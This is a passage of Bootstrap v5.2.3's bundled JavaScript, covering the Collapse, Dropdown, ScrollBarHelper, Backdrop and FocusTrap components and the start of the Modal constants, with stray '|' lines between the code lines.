const capitalizedDimension = dimension[0].toUpperCase() + dimension.slice(1);
|
|
const scrollSize = `scroll${capitalizedDimension}`;
|
|
|
|
this._queueCallback(complete, this._element, true);
|
|
|
|
this._element.style[dimension] = `${this._element[scrollSize]}px`;
|
|
}
|
|
|
|
hide() {
|
|
if (this._isTransitioning || !this._isShown()) {
|
|
return;
|
|
}
|
|
|
|
const startEvent = EventHandler.trigger(this._element, EVENT_HIDE$6);
|
|
|
|
if (startEvent.defaultPrevented) {
|
|
return;
|
|
}
|
|
|
|
const dimension = this._getDimension();
|
|
|
|
this._element.style[dimension] = `${this._element.getBoundingClientRect()[dimension]}px`;
|
|
reflow(this._element);
|
|
|
|
this._element.classList.add(CLASS_NAME_COLLAPSING);
|
|
|
|
this._element.classList.remove(CLASS_NAME_COLLAPSE, CLASS_NAME_SHOW$7);
|
|
|
|
for (const trigger of this._triggerArray) {
|
|
const element = getElementFromSelector(trigger);
|
|
|
|
if (element && !this._isShown(element)) {
|
|
this._addAriaAndCollapsedClass([trigger], false);
|
|
}
|
|
}
|
|
|
|
this._isTransitioning = true;
|
|
|
|
const complete = () => {
|
|
this._isTransitioning = false;
|
|
|
|
this._element.classList.remove(CLASS_NAME_COLLAPSING);
|
|
|
|
this._element.classList.add(CLASS_NAME_COLLAPSE);
|
|
|
|
EventHandler.trigger(this._element, EVENT_HIDDEN$6);
|
|
};
|
|
|
|
this._element.style[dimension] = '';
|
|
|
|
this._queueCallback(complete, this._element, true);
|
|
}
|
|
|
|
_isShown(element = this._element) {
|
|
return element.classList.contains(CLASS_NAME_SHOW$7);
|
|
} // Private
|
|
|
|
|
|
_configAfterMerge(config) {
|
|
config.toggle = Boolean(config.toggle); // Coerce string values
|
|
|
|
config.parent = getElement(config.parent);
|
|
return config;
|
|
}
|
|
|
|
_getDimension() {
|
|
return this._element.classList.contains(CLASS_NAME_HORIZONTAL) ? WIDTH : HEIGHT;
|
|
}
|
|
|
|
_initializeChildren() {
|
|
if (!this._config.parent) {
|
|
return;
|
|
}
|
|
|
|
const children = this._getFirstLevelChildren(SELECTOR_DATA_TOGGLE$4);
|
|
|
|
for (const element of children) {
|
|
const selected = getElementFromSelector(element);
|
|
|
|
if (selected) {
|
|
this._addAriaAndCollapsedClass([element], this._isShown(selected));
|
|
}
|
|
}
|
|
}
|
|
|
|
_getFirstLevelChildren(selector) {
|
|
const children = SelectorEngine.find(CLASS_NAME_DEEPER_CHILDREN, this._config.parent); // remove children if greater depth
|
|
|
|
return SelectorEngine.find(selector, this._config.parent).filter(element => !children.includes(element));
|
|
}
|
|
|
|
_addAriaAndCollapsedClass(triggerArray, isOpen) {
|
|
if (!triggerArray.length) {
|
|
return;
|
|
}
|
|
|
|
for (const element of triggerArray) {
|
|
element.classList.toggle(CLASS_NAME_COLLAPSED, !isOpen);
|
|
element.setAttribute('aria-expanded', isOpen);
|
|
}
|
|
} // Static
|
|
|
|
|
|
static jQueryInterface(config) {
|
|
const _config = {};
|
|
|
|
if (typeof config === 'string' && /show|hide/.test(config)) {
|
|
_config.toggle = false;
|
|
}
|
|
|
|
return this.each(function () {
|
|
const data = Collapse.getOrCreateInstance(this, _config);
|
|
|
|
if (typeof config === 'string') {
|
|
if (typeof data[config] === 'undefined') {
|
|
throw new TypeError(`No method named "${config}"`);
|
|
}
|
|
|
|
data[config]();
|
|
}
|
|
});
|
|
}
|
|
|
|
}
|
|
/**
|
|
* Data API implementation
|
|
*/
|
|
|
|
|
|
EventHandler.on(document, EVENT_CLICK_DATA_API$4, SELECTOR_DATA_TOGGLE$4, function (event) {
|
|
// preventDefault only for <a> elements (which change the URL) not inside the collapsible element
|
|
if (event.target.tagName === 'A' || event.delegateTarget && event.delegateTarget.tagName === 'A') {
|
|
event.preventDefault();
|
|
}
|
|
|
|
const selector = getSelectorFromElement(this);
|
|
const selectorElements = SelectorEngine.find(selector);
|
|
|
|
for (const element of selectorElements) {
|
|
Collapse.getOrCreateInstance(element, {
|
|
toggle: false
|
|
}).toggle();
|
|
}
|
|
});
|
|
/**
|
|
* jQuery
|
|
*/
|
|
|
|
defineJQueryPlugin(Collapse);
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): dropdown.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
/**
|
|
* Constants
|
|
*/
|
|
|
|
const NAME$a = 'dropdown';
|
|
const DATA_KEY$6 = 'bs.dropdown';
|
|
const EVENT_KEY$6 = `.${DATA_KEY$6}`;
|
|
const DATA_API_KEY$3 = '.data-api';
|
|
const ESCAPE_KEY$2 = 'Escape';
|
|
const TAB_KEY$1 = 'Tab';
|
|
const ARROW_UP_KEY$1 = 'ArrowUp';
|
|
const ARROW_DOWN_KEY$1 = 'ArrowDown';
|
|
const RIGHT_MOUSE_BUTTON = 2; // MouseEvent.button value for the secondary button, usually the right button
|
|
|
|
const EVENT_HIDE$5 = `hide${EVENT_KEY$6}`;
|
|
const EVENT_HIDDEN$5 = `hidden${EVENT_KEY$6}`;
|
|
const EVENT_SHOW$5 = `show${EVENT_KEY$6}`;
|
|
const EVENT_SHOWN$5 = `shown${EVENT_KEY$6}`;
|
|
const EVENT_CLICK_DATA_API$3 = `click${EVENT_KEY$6}${DATA_API_KEY$3}`;
|
|
const EVENT_KEYDOWN_DATA_API = `keydown${EVENT_KEY$6}${DATA_API_KEY$3}`;
|
|
const EVENT_KEYUP_DATA_API = `keyup${EVENT_KEY$6}${DATA_API_KEY$3}`;
|
|
const CLASS_NAME_SHOW$6 = 'show';
|
|
const CLASS_NAME_DROPUP = 'dropup';
|
|
const CLASS_NAME_DROPEND = 'dropend';
|
|
const CLASS_NAME_DROPSTART = 'dropstart';
|
|
const CLASS_NAME_DROPUP_CENTER = 'dropup-center';
|
|
const CLASS_NAME_DROPDOWN_CENTER = 'dropdown-center';
|
|
const SELECTOR_DATA_TOGGLE$3 = '[data-bs-toggle="dropdown"]:not(.disabled):not(:disabled)';
|
|
const SELECTOR_DATA_TOGGLE_SHOWN = `${SELECTOR_DATA_TOGGLE$3}.${CLASS_NAME_SHOW$6}`;
|
|
const SELECTOR_MENU = '.dropdown-menu';
|
|
const SELECTOR_NAVBAR = '.navbar';
|
|
const SELECTOR_NAVBAR_NAV = '.navbar-nav';
|
|
const SELECTOR_VISIBLE_ITEMS = '.dropdown-menu .dropdown-item:not(.disabled):not(:disabled)';
|
|
const PLACEMENT_TOP = isRTL() ? 'top-end' : 'top-start';
|
|
const PLACEMENT_TOPEND = isRTL() ? 'top-start' : 'top-end';
|
|
const PLACEMENT_BOTTOM = isRTL() ? 'bottom-end' : 'bottom-start';
|
|
const PLACEMENT_BOTTOMEND = isRTL() ? 'bottom-start' : 'bottom-end';
|
|
const PLACEMENT_RIGHT = isRTL() ? 'left-start' : 'right-start';
|
|
const PLACEMENT_LEFT = isRTL() ? 'right-start' : 'left-start';
|
|
const PLACEMENT_TOPCENTER = 'top';
|
|
const PLACEMENT_BOTTOMCENTER = 'bottom';
|
|
const Default$9 = {
|
|
autoClose: true,
|
|
boundary: 'clippingParents',
|
|
display: 'dynamic',
|
|
offset: [0, 2],
|
|
popperConfig: null,
|
|
reference: 'toggle'
|
|
};
|
|
const DefaultType$9 = {
|
|
autoClose: '(boolean|string)',
|
|
boundary: '(string|element)',
|
|
display: 'string',
|
|
offset: '(array|string|function)',
|
|
popperConfig: '(null|object|function)',
|
|
reference: '(string|element|object)'
|
|
};
|
|
/**
|
|
* Class definition
|
|
*/
|
|
|
|
class Dropdown extends BaseComponent {
|
|
constructor(element, config) {
|
|
super(element, config);
|
|
this._popper = null;
|
|
this._parent = this._element.parentNode; // dropdown wrapper
|
|
// todo: v6 revert #37011 & change markup https://getbootstrap.com/docs/5.2/forms/input-group/
|
|
|
|
this._menu = SelectorEngine.next(this._element, SELECTOR_MENU)[0] || SelectorEngine.prev(this._element, SELECTOR_MENU)[0] || SelectorEngine.findOne(SELECTOR_MENU, this._parent);
|
|
this._inNavbar = this._detectNavbar();
|
|
} // Getters
|
|
|
|
|
|
static get Default() {
|
|
return Default$9;
|
|
}
|
|
|
|
static get DefaultType() {
|
|
return DefaultType$9;
|
|
}
|
|
|
|
static get NAME() {
|
|
return NAME$a;
|
|
} // Public
|
|
|
|
|
|
toggle() {
|
|
return this._isShown() ? this.hide() : this.show();
|
|
}
|
|
|
|
show() {
|
|
if (isDisabled(this._element) || this._isShown()) {
|
|
return;
|
|
}
|
|
|
|
const relatedTarget = {
|
|
relatedTarget: this._element
|
|
};
|
|
const showEvent = EventHandler.trigger(this._element, EVENT_SHOW$5, relatedTarget);
|
|
|
|
if (showEvent.defaultPrevented) {
|
|
return;
|
|
}
|
|
|
|
this._createPopper(); // If this is a touch-enabled device we add extra
|
|
// empty mouseover listeners to the body's immediate children;
|
|
// only needed because of broken event delegation on iOS
|
|
// https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html
|
|
|
|
|
|
if ('ontouchstart' in document.documentElement && !this._parent.closest(SELECTOR_NAVBAR_NAV)) {
|
|
for (const element of [].concat(...document.body.children)) {
|
|
EventHandler.on(element, 'mouseover', noop);
|
|
}
|
|
}
|
|
|
|
this._element.focus();
|
|
|
|
this._element.setAttribute('aria-expanded', true);
|
|
|
|
this._menu.classList.add(CLASS_NAME_SHOW$6);
|
|
|
|
this._element.classList.add(CLASS_NAME_SHOW$6);
|
|
|
|
EventHandler.trigger(this._element, EVENT_SHOWN$5, relatedTarget);
|
|
}
|
|
|
|
hide() {
|
|
if (isDisabled(this._element) || !this._isShown()) {
|
|
return;
|
|
}
|
|
|
|
const relatedTarget = {
|
|
relatedTarget: this._element
|
|
};
|
|
|
|
this._completeHide(relatedTarget);
|
|
}
|
|
|
|
dispose() {
|
|
if (this._popper) {
|
|
this._popper.destroy();
|
|
}
|
|
|
|
super.dispose();
|
|
}
|
|
|
|
update() {
|
|
this._inNavbar = this._detectNavbar();
|
|
|
|
if (this._popper) {
|
|
this._popper.update();
|
|
}
|
|
} // Private
|
|
|
|
|
|
_completeHide(relatedTarget) {
|
|
const hideEvent = EventHandler.trigger(this._element, EVENT_HIDE$5, relatedTarget);
|
|
|
|
if (hideEvent.defaultPrevented) {
|
|
return;
|
|
} // If this is a touch-enabled device we remove the extra
|
|
// empty mouseover listeners we added for iOS support
|
|
|
|
|
|
if ('ontouchstart' in document.documentElement) {
|
|
for (const element of [].concat(...document.body.children)) {
|
|
EventHandler.off(element, 'mouseover', noop);
|
|
}
|
|
}
|
|
|
|
if (this._popper) {
|
|
this._popper.destroy();
|
|
}
|
|
|
|
this._menu.classList.remove(CLASS_NAME_SHOW$6);
|
|
|
|
this._element.classList.remove(CLASS_NAME_SHOW$6);
|
|
|
|
this._element.setAttribute('aria-expanded', 'false');
|
|
|
|
Manipulator.removeDataAttribute(this._menu, 'popper');
|
|
EventHandler.trigger(this._element, EVENT_HIDDEN$5, relatedTarget);
|
|
}
|
|
|
|
_getConfig(config) {
|
|
config = super._getConfig(config);
|
|
|
|
if (typeof config.reference === 'object' && !isElement(config.reference) && typeof config.reference.getBoundingClientRect !== 'function') {
|
|
// Popper virtual elements require a getBoundingClientRect method
|
|
throw new TypeError(`${NAME$a.toUpperCase()}: Option "reference" provided type "object" without a required "getBoundingClientRect" method.`);
|
|
}
|
|
|
|
return config;
|
|
}
|
|
|
|
_createPopper() {
|
|
if (typeof Popper__namespace === 'undefined') {
|
|
throw new TypeError('Bootstrap\'s dropdowns require Popper (https://popper.js.org)');
|
|
}
|
|
|
|
let referenceElement = this._element;
|
|
|
|
if (this._config.reference === 'parent') {
|
|
referenceElement = this._parent;
|
|
} else if (isElement(this._config.reference)) {
|
|
referenceElement = getElement(this._config.reference);
|
|
} else if (typeof this._config.reference === 'object') {
|
|
referenceElement = this._config.reference;
|
|
}
|
|
|
|
const popperConfig = this._getPopperConfig();
|
|
|
|
this._popper = Popper__namespace.createPopper(referenceElement, this._menu, popperConfig);
|
|
}
|
|
|
|
_isShown() {
|
|
return this._menu.classList.contains(CLASS_NAME_SHOW$6);
|
|
}
|
|
|
|
_getPlacement() {
|
|
const parentDropdown = this._parent;
|
|
|
|
if (parentDropdown.classList.contains(CLASS_NAME_DROPEND)) {
|
|
return PLACEMENT_RIGHT;
|
|
}
|
|
|
|
if (parentDropdown.classList.contains(CLASS_NAME_DROPSTART)) {
|
|
return PLACEMENT_LEFT;
|
|
}
|
|
|
|
if (parentDropdown.classList.contains(CLASS_NAME_DROPUP_CENTER)) {
|
|
return PLACEMENT_TOPCENTER;
|
|
}
|
|
|
|
if (parentDropdown.classList.contains(CLASS_NAME_DROPDOWN_CENTER)) {
|
|
return PLACEMENT_BOTTOMCENTER;
|
|
} // We need to trim the value because custom properties can also include spaces
|
|
|
|
|
|
const isEnd = getComputedStyle(this._menu).getPropertyValue('--bs-position').trim() === 'end';
|
|
|
|
if (parentDropdown.classList.contains(CLASS_NAME_DROPUP)) {
|
|
return isEnd ? PLACEMENT_TOPEND : PLACEMENT_TOP;
|
|
}
|
|
|
|
return isEnd ? PLACEMENT_BOTTOMEND : PLACEMENT_BOTTOM;
|
|
}
|
|
|
|
_detectNavbar() {
|
|
return this._element.closest(SELECTOR_NAVBAR) !== null;
|
|
}
|
|
|
|
_getOffset() {
|
|
const {
|
|
offset
|
|
} = this._config;
|
|
|
|
if (typeof offset === 'string') {
|
|
return offset.split(',').map(value => Number.parseInt(value, 10));
|
|
}
|
|
|
|
if (typeof offset === 'function') {
|
|
return popperData => offset(popperData, this._element);
|
|
}
|
|
|
|
return offset;
|
|
}
|
|
|
|
_getPopperConfig() {
|
|
const defaultBsPopperConfig = {
|
|
placement: this._getPlacement(),
|
|
modifiers: [{
|
|
name: 'preventOverflow',
|
|
options: {
|
|
boundary: this._config.boundary
|
|
}
|
|
}, {
|
|
name: 'offset',
|
|
options: {
|
|
offset: this._getOffset()
|
|
}
|
|
}]
|
|
}; // Disable Popper if we have a static display or Dropdown is in Navbar
|
|
|
|
if (this._inNavbar || this._config.display === 'static') {
|
|
Manipulator.setDataAttribute(this._menu, 'popper', 'static'); // todo:v6 remove
|
|
|
|
defaultBsPopperConfig.modifiers = [{
|
|
name: 'applyStyles',
|
|
enabled: false
|
|
}];
|
|
}
|
|
|
|
return { ...defaultBsPopperConfig,
|
|
...(typeof this._config.popperConfig === 'function' ? this._config.popperConfig(defaultBsPopperConfig) : this._config.popperConfig)
|
|
};
|
|
}
|
|
|
|
_selectMenuItem({
|
|
key,
|
|
target
|
|
}) {
|
|
const items = SelectorEngine.find(SELECTOR_VISIBLE_ITEMS, this._menu).filter(element => isVisible(element));
|
|
|
|
if (!items.length) {
|
|
return;
|
|
} // if target isn't included in items (e.g. when expanding the dropdown)
|
|
// allow cycling to get the last item in case key equals ARROW_UP_KEY
|
|
|
|
|
|
getNextActiveElement(items, target, key === ARROW_DOWN_KEY$1, !items.includes(target)).focus();
|
|
} // Static
|
|
|
|
|
|
static jQueryInterface(config) {
|
|
return this.each(function () {
|
|
const data = Dropdown.getOrCreateInstance(this, config);
|
|
|
|
if (typeof config !== 'string') {
|
|
return;
|
|
}
|
|
|
|
if (typeof data[config] === 'undefined') {
|
|
throw new TypeError(`No method named "${config}"`);
|
|
}
|
|
|
|
data[config]();
|
|
});
|
|
}
|
|
|
|
static clearMenus(event) {
|
|
if (event.button === RIGHT_MOUSE_BUTTON || event.type === 'keyup' && event.key !== TAB_KEY$1) {
|
|
return;
|
|
}
|
|
|
|
const openToggles = SelectorEngine.find(SELECTOR_DATA_TOGGLE_SHOWN);
|
|
|
|
for (const toggle of openToggles) {
|
|
const context = Dropdown.getInstance(toggle);
|
|
|
|
if (!context || context._config.autoClose === false) {
|
|
continue;
|
|
}
|
|
|
|
const composedPath = event.composedPath();
|
|
const isMenuTarget = composedPath.includes(context._menu);
|
|
|
|
if (composedPath.includes(context._element) || context._config.autoClose === 'inside' && !isMenuTarget || context._config.autoClose === 'outside' && isMenuTarget) {
|
|
continue;
|
|
} // Tab navigation through the dropdown menu or events from contained inputs shouldn't close the menu
|
|
|
|
|
|
if (context._menu.contains(event.target) && (event.type === 'keyup' && event.key === TAB_KEY$1 || /input|select|option|textarea|form/i.test(event.target.tagName))) {
|
|
continue;
|
|
}
|
|
|
|
const relatedTarget = {
|
|
relatedTarget: context._element
|
|
};
|
|
|
|
if (event.type === 'click') {
|
|
relatedTarget.clickEvent = event;
|
|
}
|
|
|
|
context._completeHide(relatedTarget);
|
|
}
|
|
}
|
|
|
|
static dataApiKeydownHandler(event) {
|
|
// If not an UP | DOWN | ESCAPE key => not a dropdown command
|
|
// If input/textarea && if key is other than ESCAPE => not a dropdown command
|
|
const isInput = /input|textarea/i.test(event.target.tagName);
|
|
const isEscapeEvent = event.key === ESCAPE_KEY$2;
|
|
const isUpOrDownEvent = [ARROW_UP_KEY$1, ARROW_DOWN_KEY$1].includes(event.key);
|
|
|
|
if (!isUpOrDownEvent && !isEscapeEvent) {
|
|
return;
|
|
}
|
|
|
|
if (isInput && !isEscapeEvent) {
|
|
return;
|
|
}
|
|
|
|
event.preventDefault(); // todo: v6 revert #37011 & change markup https://getbootstrap.com/docs/5.2/forms/input-group/
|
|
|
|
const getToggleButton = this.matches(SELECTOR_DATA_TOGGLE$3) ? this : SelectorEngine.prev(this, SELECTOR_DATA_TOGGLE$3)[0] || SelectorEngine.next(this, SELECTOR_DATA_TOGGLE$3)[0] || SelectorEngine.findOne(SELECTOR_DATA_TOGGLE$3, event.delegateTarget.parentNode);
|
|
const instance = Dropdown.getOrCreateInstance(getToggleButton);
|
|
|
|
if (isUpOrDownEvent) {
|
|
event.stopPropagation();
|
|
instance.show();
|
|
|
|
instance._selectMenuItem(event);
|
|
|
|
return;
|
|
}
|
|
|
|
if (instance._isShown()) {
|
|
// else is escape and we check if it is shown
|
|
event.stopPropagation();
|
|
instance.hide();
|
|
getToggleButton.focus();
|
|
}
|
|
}
|
|
|
|
}
|
|
/**
|
|
* Data API implementation
|
|
*/
|
|
|
|
|
|
EventHandler.on(document, EVENT_KEYDOWN_DATA_API, SELECTOR_DATA_TOGGLE$3, Dropdown.dataApiKeydownHandler);
|
|
EventHandler.on(document, EVENT_KEYDOWN_DATA_API, SELECTOR_MENU, Dropdown.dataApiKeydownHandler);
|
|
EventHandler.on(document, EVENT_CLICK_DATA_API$3, Dropdown.clearMenus);
|
|
EventHandler.on(document, EVENT_KEYUP_DATA_API, Dropdown.clearMenus);
|
|
EventHandler.on(document, EVENT_CLICK_DATA_API$3, SELECTOR_DATA_TOGGLE$3, function (event) {
|
|
event.preventDefault();
|
|
Dropdown.getOrCreateInstance(this).toggle();
|
|
});
|
|
/**
|
|
* jQuery
|
|
*/
|
|
|
|
defineJQueryPlugin(Dropdown);
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): util/scrollBar.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
/**
|
|
* Constants
|
|
*/
|
|
|
|
const SELECTOR_FIXED_CONTENT = '.fixed-top, .fixed-bottom, .is-fixed, .sticky-top';
|
|
const SELECTOR_STICKY_CONTENT = '.sticky-top';
|
|
const PROPERTY_PADDING = 'padding-right';
|
|
const PROPERTY_MARGIN = 'margin-right';
|
|
/**
|
|
* Class definition
|
|
*/
|
|
|
|
class ScrollBarHelper {
|
|
constructor() {
|
|
this._element = document.body;
|
|
} // Public
|
|
|
|
|
|
getWidth() {
|
|
// https://developer.mozilla.org/en-US/docs/Web/API/Window/innerWidth#usage_notes
|
|
const documentWidth = document.documentElement.clientWidth;
|
|
return Math.abs(window.innerWidth - documentWidth);
|
|
}
|
|
|
|
hide() {
|
|
const width = this.getWidth();
|
|
|
|
this._disableOverFlow(); // give padding to element to balance the hidden scrollbar width
|
|
|
|
|
|
this._setElementAttributes(this._element, PROPERTY_PADDING, calculatedValue => calculatedValue + width); // trick: We adjust positive paddingRight and negative marginRight to sticky-top elements to keep showing fullwidth
|
|
|
|
|
|
this._setElementAttributes(SELECTOR_FIXED_CONTENT, PROPERTY_PADDING, calculatedValue => calculatedValue + width);
|
|
|
|
this._setElementAttributes(SELECTOR_STICKY_CONTENT, PROPERTY_MARGIN, calculatedValue => calculatedValue - width);
|
|
}
|
|
|
|
reset() {
|
|
this._resetElementAttributes(this._element, 'overflow');
|
|
|
|
this._resetElementAttributes(this._element, PROPERTY_PADDING);
|
|
|
|
this._resetElementAttributes(SELECTOR_FIXED_CONTENT, PROPERTY_PADDING);
|
|
|
|
this._resetElementAttributes(SELECTOR_STICKY_CONTENT, PROPERTY_MARGIN);
|
|
}
|
|
|
|
isOverflowing() {
|
|
return this.getWidth() > 0;
|
|
} // Private
|
|
|
|
|
|
_disableOverFlow() {
|
|
this._saveInitialAttribute(this._element, 'overflow');
|
|
|
|
this._element.style.overflow = 'hidden';
|
|
}
|
|
|
|
_setElementAttributes(selector, styleProperty, callback) {
|
|
const scrollbarWidth = this.getWidth();
|
|
|
|
const manipulationCallBack = element => {
|
|
if (element !== this._element && window.innerWidth > element.clientWidth + scrollbarWidth) {
|
|
return;
|
|
}
|
|
|
|
this._saveInitialAttribute(element, styleProperty);
|
|
|
|
const calculatedValue = window.getComputedStyle(element).getPropertyValue(styleProperty);
|
|
element.style.setProperty(styleProperty, `${callback(Number.parseFloat(calculatedValue))}px`);
|
|
};
|
|
|
|
this._applyManipulationCallback(selector, manipulationCallBack);
|
|
}
|
|
|
|
_saveInitialAttribute(element, styleProperty) {
|
|
const actualValue = element.style.getPropertyValue(styleProperty);
|
|
|
|
if (actualValue) {
|
|
Manipulator.setDataAttribute(element, styleProperty, actualValue);
|
|
}
|
|
}
|
|
|
|
_resetElementAttributes(selector, styleProperty) {
|
|
const manipulationCallBack = element => {
|
|
const value = Manipulator.getDataAttribute(element, styleProperty); // We only want to remove the property if the value is `null`; the value can also be zero
|
|
|
|
if (value === null) {
|
|
element.style.removeProperty(styleProperty);
|
|
return;
|
|
}
|
|
|
|
Manipulator.removeDataAttribute(element, styleProperty);
|
|
element.style.setProperty(styleProperty, value);
|
|
};
|
|
|
|
this._applyManipulationCallback(selector, manipulationCallBack);
|
|
}
|
|
|
|
_applyManipulationCallback(selector, callBack) {
|
|
if (isElement(selector)) {
|
|
callBack(selector);
|
|
return;
|
|
}
|
|
|
|
for (const sel of SelectorEngine.find(selector, this._element)) {
|
|
callBack(sel);
|
|
}
|
|
}
|
|
|
|
}
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): util/backdrop.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
/**
|
|
* Constants
|
|
*/
|
|
|
|
const NAME$9 = 'backdrop';
|
|
const CLASS_NAME_FADE$4 = 'fade';
|
|
const CLASS_NAME_SHOW$5 = 'show';
|
|
const EVENT_MOUSEDOWN = `mousedown.bs.${NAME$9}`;
|
|
const Default$8 = {
|
|
className: 'modal-backdrop',
|
|
clickCallback: null,
|
|
isAnimated: false,
|
|
isVisible: true,
|
|
// if false, we use the backdrop helper without adding any element to the dom
|
|
rootElement: 'body' // give the choice to place backdrop under different elements
|
|
|
|
};
|
|
const DefaultType$8 = {
|
|
className: 'string',
|
|
clickCallback: '(function|null)',
|
|
isAnimated: 'boolean',
|
|
isVisible: 'boolean',
|
|
rootElement: '(element|string)'
|
|
};
|
|
/**
|
|
* Class definition
|
|
*/
|
|
|
|
class Backdrop extends Config {
|
|
constructor(config) {
|
|
super();
|
|
this._config = this._getConfig(config);
|
|
this._isAppended = false;
|
|
this._element = null;
|
|
} // Getters
|
|
|
|
|
|
static get Default() {
|
|
return Default$8;
|
|
}
|
|
|
|
static get DefaultType() {
|
|
return DefaultType$8;
|
|
}
|
|
|
|
static get NAME() {
|
|
return NAME$9;
|
|
} // Public
|
|
|
|
|
|
show(callback) {
|
|
if (!this._config.isVisible) {
|
|
execute(callback);
|
|
return;
|
|
}
|
|
|
|
this._append();
|
|
|
|
const element = this._getElement();
|
|
|
|
if (this._config.isAnimated) {
|
|
reflow(element);
|
|
}
|
|
|
|
element.classList.add(CLASS_NAME_SHOW$5);
|
|
|
|
this._emulateAnimation(() => {
|
|
execute(callback);
|
|
});
|
|
}
|
|
|
|
hide(callback) {
|
|
if (!this._config.isVisible) {
|
|
execute(callback);
|
|
return;
|
|
}
|
|
|
|
this._getElement().classList.remove(CLASS_NAME_SHOW$5);
|
|
|
|
this._emulateAnimation(() => {
|
|
this.dispose();
|
|
execute(callback);
|
|
});
|
|
}
|
|
|
|
dispose() {
|
|
if (!this._isAppended) {
|
|
return;
|
|
}
|
|
|
|
EventHandler.off(this._element, EVENT_MOUSEDOWN);
|
|
|
|
this._element.remove();
|
|
|
|
this._isAppended = false;
|
|
} // Private
|
|
|
|
|
|
_getElement() {
|
|
if (!this._element) {
|
|
const backdrop = document.createElement('div');
|
|
backdrop.className = this._config.className;
|
|
|
|
if (this._config.isAnimated) {
|
|
backdrop.classList.add(CLASS_NAME_FADE$4);
|
|
}
|
|
|
|
this._element = backdrop;
|
|
}
|
|
|
|
return this._element;
|
|
}
|
|
|
|
_configAfterMerge(config) {
|
|
// use getElement() with the default "body" to get a fresh Element on each instantiation
|
|
config.rootElement = getElement(config.rootElement);
|
|
return config;
|
|
}
|
|
|
|
_append() {
|
|
if (this._isAppended) {
|
|
return;
|
|
}
|
|
|
|
const element = this._getElement();
|
|
|
|
this._config.rootElement.append(element);
|
|
|
|
EventHandler.on(element, EVENT_MOUSEDOWN, () => {
|
|
execute(this._config.clickCallback);
|
|
});
|
|
this._isAppended = true;
|
|
}
|
|
|
|
_emulateAnimation(callback) {
|
|
executeAfterTransition(callback, this._getElement(), this._config.isAnimated);
|
|
}
|
|
|
|
}
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): util/focustrap.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
/**
|
|
* Constants
|
|
*/
|
|
|
|
const NAME$8 = 'focustrap';
|
|
const DATA_KEY$5 = 'bs.focustrap';
|
|
const EVENT_KEY$5 = `.${DATA_KEY$5}`;
|
|
const EVENT_FOCUSIN$2 = `focusin${EVENT_KEY$5}`;
|
|
const EVENT_KEYDOWN_TAB = `keydown.tab${EVENT_KEY$5}`;
|
|
const TAB_KEY = 'Tab';
|
|
const TAB_NAV_FORWARD = 'forward';
|
|
const TAB_NAV_BACKWARD = 'backward';
|
|
const Default$7 = {
|
|
autofocus: true,
|
|
trapElement: null // The element to trap focus inside of
|
|
|
|
};
|
|
const DefaultType$7 = {
|
|
autofocus: 'boolean',
|
|
trapElement: 'element'
|
|
};
|
|
/**
|
|
* Class definition
|
|
*/
|
|
|
|
class FocusTrap extends Config {
|
|
constructor(config) {
|
|
super();
|
|
this._config = this._getConfig(config);
|
|
this._isActive = false;
|
|
this._lastTabNavDirection = null;
|
|
} // Getters
|
|
|
|
|
|
static get Default() {
|
|
return Default$7;
|
|
}
|
|
|
|
static get DefaultType() {
|
|
return DefaultType$7;
|
|
}
|
|
|
|
static get NAME() {
|
|
return NAME$8;
|
|
} // Public
|
|
|
|
|
|
activate() {
|
|
if (this._isActive) {
|
|
return;
|
|
}
|
|
|
|
if (this._config.autofocus) {
|
|
this._config.trapElement.focus();
|
|
}
|
|
|
|
EventHandler.off(document, EVENT_KEY$5); // guard against infinite focus loop
|
|
|
|
EventHandler.on(document, EVENT_FOCUSIN$2, event => this._handleFocusin(event));
|
|
EventHandler.on(document, EVENT_KEYDOWN_TAB, event => this._handleKeydown(event));
|
|
this._isActive = true;
|
|
}
|
|
|
|
deactivate() {
|
|
if (!this._isActive) {
|
|
return;
|
|
}
|
|
|
|
this._isActive = false;
|
|
EventHandler.off(document, EVENT_KEY$5);
|
|
} // Private
|
|
|
|
|
|
_handleFocusin(event) {
|
|
const {
|
|
trapElement
|
|
} = this._config;
|
|
|
|
if (event.target === document || event.target === trapElement || trapElement.contains(event.target)) {
|
|
return;
|
|
}
|
|
|
|
const elements = SelectorEngine.focusableChildren(trapElement);
|
|
|
|
if (elements.length === 0) {
|
|
trapElement.focus();
|
|
} else if (this._lastTabNavDirection === TAB_NAV_BACKWARD) {
|
|
elements[elements.length - 1].focus();
|
|
} else {
|
|
elements[0].focus();
|
|
}
|
|
}
|
|
|
|
_handleKeydown(event) {
|
|
if (event.key !== TAB_KEY) {
|
|
return;
|
|
}
|
|
|
|
this._lastTabNavDirection = event.shiftKey ? TAB_NAV_BACKWARD : TAB_NAV_FORWARD;
|
|
}
|
|
|
|
}
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): modal.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
/**
|
|
* Constants
|
|
*/
|
|
|
|
const NAME$7 = 'modal';
|
|
const DATA_KEY$4 = 'bs.modal';
|
|
const EVENT_KEY$4 = `.${DATA_KEY$4}`;
|
|
const DATA_API_KEY$2 = '.data-api';
|
|
const ESCAPE_KEY$1 = 'Escape';
|
|
const EVENT_HIDE$4 = `hide${EVENT_KEY$4}`;
|
|
const EVENT_HIDE_PREVENTED$1 = `hidePrevented${EVENT_KEY$4}`;
|
|
const EVENT_HIDDEN$4 = `hidden${EVENT_KEY$4}`;
|
|
const EVENT_SHOW$4 = `show${EVENT_KEY$4}`;
|
|
